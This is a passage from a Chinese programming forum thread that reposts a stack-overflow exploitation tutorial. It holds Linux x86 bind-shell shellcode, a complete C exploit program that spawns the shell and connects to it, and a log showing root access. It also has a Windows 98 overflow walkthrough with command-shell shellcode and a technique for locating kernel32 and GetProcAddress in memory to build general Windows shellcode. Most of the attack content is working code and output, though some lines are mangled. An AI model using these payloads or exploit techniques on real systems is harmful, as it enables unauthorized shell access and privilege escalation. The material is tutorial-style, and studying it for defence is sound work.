新书推介:《语义网技术体系》
作者:瞿裕忠,胡伟,程龚
   XML论坛     W3CHINA.ORG讨论区     计算机科学论坛     SOAChina论坛     Blog     开放翻译计划     新浪微博  
 
  • 首页
  • 登录
  • 注册
  • 软件下载
  • 资料下载
  • 核心成员
  • 帮助
  •   Add to Google

    >> 本版讨论高级C/C++编程、代码重构(Refactoring)、极限编程(XP)、泛型编程等话题
    [返回] 计算机科学论坛计算机技术与应用『 C/C++编程思想 』 → 堆栈溢出从入门到提高 查看新帖用户列表

      发表一个新主题  发表一个新投票  回复主题  (订阅本版) 您是本帖的第 10273 个阅读者浏览上一篇主题  刷新本主题   树形显示贴子 浏览下一篇主题
     * 贴子主题: 堆栈溢出从入门到提高 举报  打印  推荐  IE收藏夹 
       本主题类别:     
     卷积内核 帅哥哟,离线,有人找我吗?
      
      
      威望:8
      头衔:总统
      等级:博士二年级(版主)
      文章:3942
      积分:27590
      门派:XML.ORG.CN
      注册:2004/7/21

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给卷积内核发送一个短消息 把卷积内核加入好友 查看卷积内核的个人资料 搜索卷积内核在『 C/C++编程思想 』的所有贴子 访问卷积内核的主页 引用回复这个贴子 回复这个贴子 查看卷积内核的博客11
    发贴心情 

    "\x31\xc0" /* xorl %eax,%eax */

    "\xb0\x02" /* movb $0x2,%al */

    "\xcd\x80" /* int $0x80 */

    "\x85\xc0" /* testl %eax,%eax */

    "\x75\x43" /* jne 0x43 */

    "\xeb\x43" /* jmp 0x43 */

    "\x5e" /* popl %esi */

    "\x31\xc0" /* xorl %eax,%eax */

    "\x31\xdb" /* xorl %ebx,%ebx */

    "\x89\xf1" /* movl %esi,%ecx */

    "\xb0\x02" /* movb $0x2,%al */

    "\x89\x06" /* movl %eax,(%esi) */

    "\xb0\x01" /* movb $0x1,%al */

    "\x89\x46\x04" /* movl %eax,0x4(%esi) */

    "\xb0\x06" /* movb $0x6,%al */

    "\x89\x46\x08" /* movl %eax,0x8(%esi) */

    "\xb0\x66" /* movb $0x66,%al */

    "\xb3\x01" /* movb $0x1,%bl */

    "\xcd\x80" /* int $0x80 */

    "\x89\x06" /* movl %eax,(%esi) */

    "\xb0\x02" /* movb $0x2,%al */

    "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */

    "\xb0\x77" /* movb $0x77,%al */

    "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */

    "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */

    "\x89\x46\x04" /* movl %eax,0x4(%esi) */

    "\x31\xc0" /* xorl %eax,%eax */

    "\x89\x46\x10" /* movl %eax,0x10(%esi) */

    "\xb0\x10" /* movb $0x10,%al */

    "\x89\x46\x08" /* movl %eax,0x8(%esi) */

    "\xb0\x66" /* movb $0x66,%al */

    "\xb3\x02" /* movb $0x2,%bl */

    "\xcd\x80" /* int $0x80 */

    "\xeb\x04" /* jmp 0x4 */

    "\xeb\x55" /* jmp 0x55 */

    "\xeb\x5b" /* jmp 0x5b */

    "\xb0\x01" /* movb $0x1,%al */

    "\x89\x46\x04" /* movl %eax,0x4(%esi) */

    "\xb0\x66" /* movb $0x66,%al */

    "\xb3\x04" /* movb $0x4,%bl */

    "\xcd\x80" /* int $0x80 */

    "\x31\xc0" /* xorl %eax,%eax */

    "\x89\x46\x04" /* movl %eax,0x4(%esi) */

    "\x89\x46\x08" /* movl %eax,0x8(%esi) */

    "\xb0\x66" /* movb $0x66,%al */

    "\xb3\x05" /* movb $0x5,%bl */

    "\xcd\x80" /* int $0x80 */

    "\x88\xc3" /* movb %al,%bl */

    "\xb0\x3f" /* movb $0x3f,%al */

    "\x31\xc9" /* xorl %ecx,%ecx */

    "\xcd\x80" /* int $0x80 */

    "\xb0\x3f" /* movb $0x3f,%al */

    "\xb1\x01" /* movb $0x1,%cl */

    "\xcd\x80" /* int $0x80 */

    "\xb0\x3f" /* movb $0x3f,%al */

    "\xb1\x02" /* movb $0x2,%cl */

    "\xcd\x80" /* int $0x80 */

    "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */

    "\x89\x06" /* movl %eax,(%esi) */

    "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */

    "\x89\x46\x04" /* movl %eax,0x4(%esi) */

    "\x31\xc0" /* xorl %eax,%eax */

    "\x88\x46\x07" /* movb %al,0x7(%esi) */

    "\x89\x76\x08" /* movl %esi,0x8(%esi) */

    "\x89\x46\x0c" /* movl %eax,0xc(%esi) */

    "\xb0\x0b" /* movb $0xb,%al */

    "\x89\xf3" /* movl %esi,%ebx */

    "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */

    "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */

    "\xcd\x80" /* int $0x80 */

    "\x31\xc0" /* xorl %eax,%eax */

    "\xb0\x01" /* movb $0x1,%al */

    "\x31\xdb" /* xorl %ebx,%ebx */

    "\xcd\x80" /* int $0x80 */

    "\xe8\x5b\xff\xff\xff" /* call -0xa5 */

    unsigned long get_sp(void)

    {

    __asm__("movl %esp,%eax");

    }

    long getip(char *name)

    {

    struct hostent *hp;

    long ip;

    if((ip=inet_addr(name))==-1)

    {

    if((hp=gethostbyname(name))==NULL)

    ----------------------------------------------
    事业是国家的,荣誉是单位的,成绩是领导的,工资是老婆的,财产是孩子的,错误是自己的。

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/11/6 8:33:00
     
     卷积内核 帅哥哟,离线,有人找我吗?
      
      
      威望:8
      头衔:总统
      等级:博士二年级(版主)
      文章:3942
      积分:27590
      门派:XML.ORG.CN
      注册:2004/7/21

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给卷积内核发送一个短消息 把卷积内核加入好友 查看卷积内核的个人资料 搜索卷积内核在『 C/C++编程思想 』的所有贴子 访问卷积内核的主页 引用回复这个贴子 回复这个贴子 查看卷积内核的博客12
    发贴心情 
    {

    fprintf(stderr,"Can"t resolve host.\n");

    exit(0);

    }

    memcpy(&ip,(hp->h_addr),4);

    }

    return ip;

    }

    int exec_sh(int sockfd)

    {

    char snd[4096],rcv[4096];

    fd_set rset;

    while(1)

    {

    FD_ZERO(&rset);

    FD_SET(fileno(stdin),&rset);

    FD_SET(sockfd,&rset);

    select(255,&rset,NULL,NULL,NULL);

    if(FD_ISSET(fileno(stdin),&rset))

    {

    memset(snd,0,sizeof(snd));

    fgets(snd,sizeof(snd),stdin);

    write(sockfd,snd,strlen(snd));

    }

    if(FD_ISSET(sockfd,&rset))

    {

    memset(rcv,0,sizeof(rcv));

    if(read(sockfd,rcv,sizeof(rcv))<=0)

    exit(0);

    fputs(rcv,stdout);

    }

    }

    }

    int connect_sh(long ip)

    {

    int sockfd,i;

    struct sockaddr_in sin;

    printf("Connect to the shell\n");

    fflush(stdout);

    memset(&sin,0,sizeof(sin));

    sin.sin_family=AF_INET;

    sin.sin_port=htons(30464);

    sin.sin_addr.s_addr=ip;

    if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)

    {

    printf("Can"t create socket\n");

    exit(0);

    }

    if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)

    {

    printf("Can"t connect to the shell\n");

    exit(0);

    }

    return sockfd;

    }

    void main(int argc,char **argv)

    {

    char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;

    long addr;

    unsigned long sp;

    int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;

    int i;

    int sockfd;

    if(argc>1)

    offset=atoi(argv[1]);

    sp=get_sp();

    addr=sp-offset;

    for(i=0;i<bsize;i+=4)

    {

    buff[i+ALIGN]=(addr&0x000000ff);

    buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;

    buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;

    buff[i+ALIGN+3]=(addr&0xff000000)>>24;

    }

    for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)

    buff[i]=NOP;

    ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;

    for(i=0;i<strlen(shellcode);i++)

    *(ptr++)=shellcode[i];

    buff[bsize-1]="\0"

    printf("Jump to 0x%08x\n",addr);

    if(fork()==0)

    {

    execl("./vulnerable","vulnerable",buff,0);

    exit(0);

    }

    sleep(5);

    sockfd=connect_sh(getip("127.0.0.1"));

    exec_sh(sockfd);

    }

    ------------------------------------------------------------------------

    ----

    算法很简单,先生成溢出串,格式为:NNNNSSSSAAAA。然后起一个子进程执行目标

    程序

    来模拟网络daemon,参数为我们的字符串。好,堆栈溢出发生了。我们的

    shellcode被

    执行,那么在30464端口就会有server在listen了。

    父进程睡五秒,等待这些完成。就连接本机的端口30464。连接建立后,从socket

    读取

    收到的字符串,打印到标准输出,从标准输入读取字符串,传到socket的server端

    下面来试一试:

    我们先写一个漏洞程序:

    vulnerable.C

    ------------------------------------------------------------------------

    ----

    #include <stdio.h>

    int main(int argc,char ** argv)

    {

    char buffer[1000];

    printf("I am here%x,buffer%d\n",buffer,strlen(argv[1]));

    strcpy(buffer,argv[1]);

    return 0;

    }

    ------------------------------------------------------------------------

    ----------------------------------------------
    事业是国家的,荣誉是单位的,成绩是领导的,工资是老婆的,财产是孩子的,错误是自己的。

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/11/6 8:34:00
     
     卷积内核 帅哥哟,离线,有人找我吗?
      
      
      威望:8
      头衔:总统
      等级:博士二年级(版主)
      文章:3942
      积分:27590
      门派:XML.ORG.CN
      注册:2004/7/21

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给卷积内核发送一个短消息 把卷积内核加入好友 查看卷积内核的个人资料 搜索卷积内核在『 C/C++编程思想 』的所有贴子 访问卷积内核的主页 引用回复这个贴子 回复这个贴子 查看卷积内核的博客13
    发贴心情 
    ----

    [nkl10]$ ./exploit

    Jump to 0xbffff63c

    I am herebffff280,buffer1224

    Connect to the shell

    Can"t connect to the shell

    看到了吗?我在vulnerable.C里面加入了一个printf,打印buffer的首地址,这样

    就可以

    不用猜了。0xbffff63c-0xbffff280 = 956,好,就用956来进行偏移。

    [nkl10]$./exploit 956

    Jump to 0xbffff280

    I am herebffff280,buffer1224

    connect to shell

    whoami

    root

    id

    uid=0(root)......

    uname -a

    Linux localhost.localdomain 2.2.5-15。。。

    嘿嘿,大功告成了。

    ---------------------------------------------------------------

    window系统下的堆栈溢出--原理篇

    这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序

    堆栈溢出漏洞。

    让我们从头开始。windows 98第二版

    首先,我们来写一个问题程序:

    #include <stdio.h>

    int main()

    {

    char name[32];

    gets(name);

    for(int i=0;i<32&&name[i];i++)

    printf("\\0x%x",name[i]);

    }

    相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程

    一个很长的串,肯定可以覆盖堆栈中的返回地址。

    C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1

    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

    aaa

    \0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0

    x61\0x61

    \0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0

    x61\0x61

    到这里,出现了那个熟悉的对话框“该程序执行了非法操作。。。”,太好了,点

    详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我

    们。

    这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏

    移位置。

    C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1

    12345678910111213141516171819202122232425262728293031323334353637383940

    \0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0

    x32\0x31

    \0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0

    x30\0x32

    到这里,又出现了那个熟悉的对话框“改程序执行了非法操作。。。”,点击详细

    信息

    按钮,下面是详细信息:

    VUNERABLE 在 00de:32363235 的模块

    <未知> 中导致无效页错误。

    Registers:

    EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246

    EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233

    ECX=00000020 DS=0187 ESI=816bffcc FS=11df

    EDX=00411a68 ES=0187 EDI=00000000 GS=0000

    Bytes at CS:EIP:

    Stack dump:

    32383237 33303339 33323331 33343333 33363335 33383337 c0000005

    0064ff68

    0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78

    bff8b86c

    哦哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计

    一下可以知道,在堆栈中,从name变量地址开始偏移36处,是EBP的地址,从name

    变量

    地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的

    shellcode。

    我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始

    地址

    是多少呢?

    通过上面的stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为

    0x32383237,那么计算得出,name的开始地址为:0x0064fe00-44=0x64fdd4。在

    windows

    系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址

    是相同的。也就是说,每次运行,name的地址都是0x64fdd4。

    讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检

    测,

    出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析

    溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。

    OK,万事具备,只差shellcode了。

    首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一

    dos窗口,这样在这个窗口下,我们就可以作很多事情。

    开一个dos窗口的程序如下:

    #include <windows.h>

    #include <winbase.h>

    typedef void (*MYPROC)(LPTSTR);

    int main()

    {

    ----------------------------------------------
    事业是国家的,荣誉是单位的,成绩是领导的,工资是老婆的,财产是孩子的,错误是自己的。

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/11/6 8:34:00
     
     卷积内核 帅哥哟,离线,有人找我吗?
      
      
      威望:8
      头衔:总统
      等级:博士二年级(版主)
      文章:3942
      积分:27590
      门派:XML.ORG.CN
      注册:2004/7/21

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给卷积内核发送一个短消息 把卷积内核加入好友 查看卷积内核的个人资料 搜索卷积内核在『 C/C++编程思想 』的所有贴子 访问卷积内核的主页 引用回复这个贴子 回复这个贴子 查看卷积内核的博客14
    发贴心情 
    HINSTANCE LibHandle;

    MYPROC ProcAdd;

    char dllbuf[11] = "msvcrt.dll"

    char sysbuf[7] = "system"

    char cmdbuf[16] = "command.com"

    LibHandle = LoadLibrary(dllbuf);

    ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

    (ProcAdd) (cmdbuf);

    return 0;

    }

    这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个

    dos窗口。在C库函数里面,语句system(command.com);将完成我们需要的功能。

    但是,windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说

    windows通过动态链接库来提供系统函数。这就是所谓的Dll"s。

    因此,当我们想调用一个系统函数的时候,并不能直接引用他。我们必须找到那个

    包含此函数的动态链接库,由该动态链接库提供这个函数的地址。DLL本身也有一

    基本地址,该DLL每一次被加载都是从这个基本地址加载。比如,system函数由

    msvcrt.dll

    (the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都从

    0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处(这个偏移地

    只与msvcrt.dll的版本有关,不同的版本可能偏移地址不同)。我的系统上,

    msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。

    所以,要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接

    msvcrt.dll,获得动态链接库的句柄。然后使用GetProcAddress(LibHandle,

    system)

    获得 system的真实地址。之后才能使用这个真实地址来调用system函数。

    好了,现在可以编译执行,结果正确,我们得到了一个dos框。

    现在对这个程序进行调试跟踪汇编语言,可以得到:

    15: LibHandle = LoadLibrary(dllbuf);

    00401075 lea edx,dword ptr [dllbuf]

    00401078 push edx

    00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]

    0040107F mov dword ptr [LibHandle],eax

    16:

    17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

    00401082 lea eax,dword ptr [sysbuf]

    00401085 push eax

    00401086 mov ecx,dword ptr [LibHandle]

    00401089 push ecx

    0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]

    00401090 mov dword ptr [ProcAdd],eax

    ;现在,eax的值为0x78019824就是system的真实地址。

    ;这个地址对于我的机器而言是唯一的。不用每次都找了。

    18:

    19: (ProcAdd) (cmdbuf);

    00401093 lea edx,dword ptr [cmdbuf]

    ;使用堆栈传递参数,只有一个参数,就是字符串"command.com"的地址

    00401096 push edx

    00401097 call dword ptr [ProcAdd]

    0040109A add esp,4

    现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代

    是否能够像我们设计的那样工作:

    #include <windows.h>

    #include <winbase.h>

    void main()

    {

    LoadLibrary("msvcrt.dll");

    __asm {

    mov esp,ebp ;把ebp的内容赋值给esp

    push ebp ;保存ebp,esp-4

    mov ebp,esp ;给ebp赋新值,将作为局部变量

    的基指针

    xor edi,edi ;

    push edi ;压入0,esp-4,

    ;作用是构造字符串的结尾\0字符

    sub esp,08h ;加上上面,一共有12个字节,

    ;用来放"command.com"。

    mov byte ptr [ebp-0ch],63h ;

    mov byte ptr [ebp-0bh],6fh ;

    mov byte ptr [ebp-0ah],6dh ;

    mov byte ptr [ebp-09h],6Dh ;

    mov byte ptr [ebp-08h],61h ;

    mov byte ptr [ebp-07h],6eh ;

    mov byte ptr [ebp-06h],64h ;

    mov byte ptr [ebp-05h],2Eh ;

    mov byte ptr [ebp-04h],63h ;

    mov byte ptr [ebp-03h],6fh ;

    mov byte ptr [ebp-02h],6dh ;生成串"command.com".

    lea eax,[ebp-0ch] ;

    push eax ;串地址作为参数入栈

    mov eax, 0x78019824 ;

    call eax ;调用system

    }

    }

    编译,然后运行。好,DOS框出来了。在提示符下输入dir,copy......是不是想起

    当年用286的时候了?

    敲exit退出来,哎呀,发生了非法操作。Access Violation。这是肯定的,因为我

    们的

    程序已经把堆栈指针搞乱了。

    对上面的算法进行优化,现在我们可以写出shellcode如下:

    char shellcode[] = {

    0x8B,0xE5, /*mov esp, ebp */

    0x55, /*push ebp */

    0x8B,0xEC, /*mov ebp, esp */

    ----------------------------------------------
    事业是国家的,荣誉是单位的,成绩是领导的,工资是老婆的,财产是孩子的,错误是自己的。

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/11/6 8:34:00
     
     卷积内核 帅哥哟,离线,有人找我吗?
      
      
      威望:8
      头衔:总统
      等级:博士二年级(版主)
      文章:3942
      积分:27590
      门派:XML.ORG.CN
      注册:2004/7/21

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给卷积内核发送一个短消息 把卷积内核加入好友 查看卷积内核的个人资料 搜索卷积内核在『 C/C++编程思想 』的所有贴子 访问卷积内核的主页 引用回复这个贴子 回复这个贴子 查看卷积内核的博客15
    发贴心情 
    0x83,0xEC,0x0C, /*sub esp, 0000000C */

    0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */

    0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/

    0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */

    0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/

    0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */

    0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/

    0x33,0xD2, /*xor edx, edx */

    0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */

    0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/

    0x50, /*push eax */

    0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */

    0xFF,0xD0 /*call eax */

    };

    还记得第二讲中那个测试shellcode的基本程序吗?我们可以用他来测试这个

    shellcode:

    #include <windows.h>

    #include <winbase.h>

    char shellcode[] = {

    0x8B,0xE5, /*mov esp, ebp */

    0x55, /*push ebp */

    0x8B,0xEC, /*mov ebp, esp */

    0x83,0xEC,0x0C, /*sub esp, 0000000C */

    0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */

    0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/

    0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */

    0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/

    0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */

    0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/

    0x33,0xD2, /*xor edx, edx */

    0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */

    0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/

    0x50, /*push eax */

    0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */

    0xFF,0xD0 /*call eax */

    };

    int main() {

    int *ret;

    LoadLibrary("msvcrt.dll");

    ret = (int *)&ret + 2; //ret 等于main()的返回地址

    //(+2是因为:有push ebp ,否则加1就可以了。)

    (*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地

    址。

    }

    编译运行,得到dos对话框。

    现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计

    偏移地址,以及如何编写一个shellcode以得到dos。理论上,你已经具备了利用堆

    栈溢出

    的能力了,下面,我们通过实战来真正掌握他。

    --------------------------------------------------------------

    WINDOWS的SHELLCODE编写高级技巧

    作者:yuange

    unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出

    再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以SHELLCODE编写一般都比

    较简单。但WINDOWS系统往往不提供登陆服务,所以溢出攻击的SHELLCODE往往要提供SOCKET

    连接,要加载程序得到SHELL等,而WINDOWS的系统调用int2e接口又不如unix系统调用int80

    规范,所以一般都使用API,而API函数地址又因为系统版本的不同而不一样,所以要编写

    WINDOWS下面比较实用、通用点的SHELLCODE比较麻烦。

    经过一段时间的思考,得到了WINDOWS下编写SHELLCODE的比教好的办法。

    1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法,这样只要知道溢出

    点大致范围就可以了。

    2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆盖的RET地址后面放一个JMP

    ESP功能的指令地址就可以定位了。

    3、RET指令地址、JMP ESP功能指令地址采用代码页里面的地址,54 C3,或者FF E4

    、C3这个一个语言的WINDOWS地址固定,也很好找这个地址。

    4、SHELLCODE直接使用C语言编写,方便编写、修改、调试。

    5、SHELLCODE统一编码,满足应用条件对SHELLCODE字符的限制,用一段小汇编代码解

    码,这样编写SHELLCODE就可以不用考虑特殊字符了。

    6、通信加密,对付防火墙,实现FTP功能,实现内存直接接管WEB服务等的高级应用。

    下面主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用

    GetProcAddress定位,要使用库用LoadLibraryA加载。那这样SHELLCODE就只依靠这两个

    API了。那这两个API的地址又怎么解决呢,LoadLibraryA这个API在系统库KERNEL32.DLL里

    面,也可以使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和

    GetProcAddress的地址了。因为一般应用程序都会加载kernel32.dll,所以解决办法就是在

    内存里面找到这个系统库和API地址,所幸知道了WINDOWS的模块数据结构也就不难了,主要

    是增加异常结构处理 。下面是VC6.0程序代码:

    void shellcodefn()

    {

    int *except[3];

    FARPROC procgetadd=0;

    char *stradd;

    int imgbase,fnbase,i,k,l;

    HANDLE libhandle;

    _asm {

    ----------------------------------------------
    事业是国家的,荣誉是单位的,成绩是领导的,工资是老婆的,财产是孩子的,错误是自己的。

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/11/6 8:35:00
     
     卷积内核 帅哥哟,离线,有人找我吗?
      
      
      威望:8
      头衔:总统
      等级:博士二年级(版主)
      文章:3942
      积分:27590
      门派:XML.ORG.CN
      注册:2004/7/21

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给卷积内核发送一个短消息 把卷积内核加入好友 查看卷积内核的个人资料 搜索卷积内核在『 C/C++编程思想 』的所有贴子 访问卷积内核的主页 引用回复这个贴子 回复这个贴子 查看卷积内核的博客16
    发贴心情 
    jmp nextcall

    getstradd: pop stradd

    lea EDI,except

    mov eax,dword ptr FS:[0]

    mov dword ptr [edi+0x08],eax

    mov dword ptr FS:[0],EDI

    }

    except[0]=0xffffffff;

    except[1]=stradd-0x07;

    /* 保存异常结构链和修改异常结构链,SHELLCODE接管异常 */

    imgbase=0x77e00000;

    /* 搜索KERNEL32.DLL 的起始其实地址 */

    call getexceptretadd

    }

    /* 得到异常后的返回地址 */

    for(;imgbase<0xbffa0000,procgetadd==0;){

    imgbase+=0x10000;

    /* 模块地址是64K为单位,加快速度*/

    if(imgbase==0x78000000) imgbase=0xbff00000;

    /* 如果到这还没有搜索到,那可能是WIN9X系统 */

    if(*( WORD *)imgbase=='ZM'&& *(WORD *)

    (imgbase+*(int *)(imgbase+0x3c))=='EP'){

    /* 模块结构的模块头 */

    fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;

    k=*(int *)(fnbase+0xc)+imgbase;

    if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){

    /* 模块名 */

    libhandle=imgbase;

    /* 得到模块头地址,就是模块句柄 */

    k=imgbase+*(int *)(fnbase+0x20);

    for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){

    if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor'){

    /* 引出名 */

    k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));

    k+=*(int *)(fnbase+0x10)-1;

    k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));

    procgetadd=k+imgbase;

    /* API地址 */

    break;

    }

    }

    }

    }

    }

    // 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址

    // 注意这儿处理了搜索页面不在情况。

    _asm{

    lea edi,except

    mov eax,dword ptr [edi+0x08]

    mov dword ptr fs:[0],eax

    }

    /* 恢复异常结构链 */

    if(procgetadd==0) goto die ;

    /* 如果没找到GetProcAddress地址死循环 */

    die: goto die ;

    _asm{

    getexceptretadd: pop eax

    push eax

    mov edi,dword ptr [stradd]

    mov dword ptr [edi-0x0e],eax

    ret

    /* 得到异常后的返回地址,并填写到异常处理模块 */

    /* 异常处理模块 */

    errprogram: mov eax,dword ptr [esp+0x0c]

    add eax,0xb8

    mov dword ptr [eax],0x11223344 //stradd-0xe

    /* 修改异常返回EIP指针 */

    xor eax,eax //2

    /* 不提示异常 */

    ret //1

    /* 异常处理返回 */

    execptprogram: jmp errprogram //2 bytes stradd-7

    nextcall: call getstradd //5 bytes

    }

    }

    (完)

    ----------------------------------------------
    事业是国家的,荣誉是单位的,成绩是领导的,工资是老婆的,财产是孩子的,错误是自己的。

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/11/6 8:35:00
     
     GoogleAdSense
      
      
      等级:大一新生
      文章:1
      积分:50
      门派:无门无派
      院校:未填写
      注册:2007-01-01
    给Google AdSense发送一个短消息 把Google AdSense加入好友 查看Google AdSense的个人资料 搜索Google AdSense在『 C/C++编程思想 』的所有贴子 访问Google AdSense的主页 引用回复这个贴子 回复这个贴子 查看Google AdSense的博客广告
    2024/11/23 4:23:52

    本主题贴数16,分页: [1] [2]

    管理选项修改tag | 锁定 | 解锁 | 提升 | 删除 | 移动 | 固顶 | 总固顶 | 奖励 | 惩罚 | 发布公告
    W3C Contributing Supporter! W 3 C h i n a ( since 2003 ) 旗 下 站 点
    苏ICP备05006046号《全国人大常委会关于维护互联网安全的决定》《计算机信息网络国际联网安全保护管理办法》
    140.625ms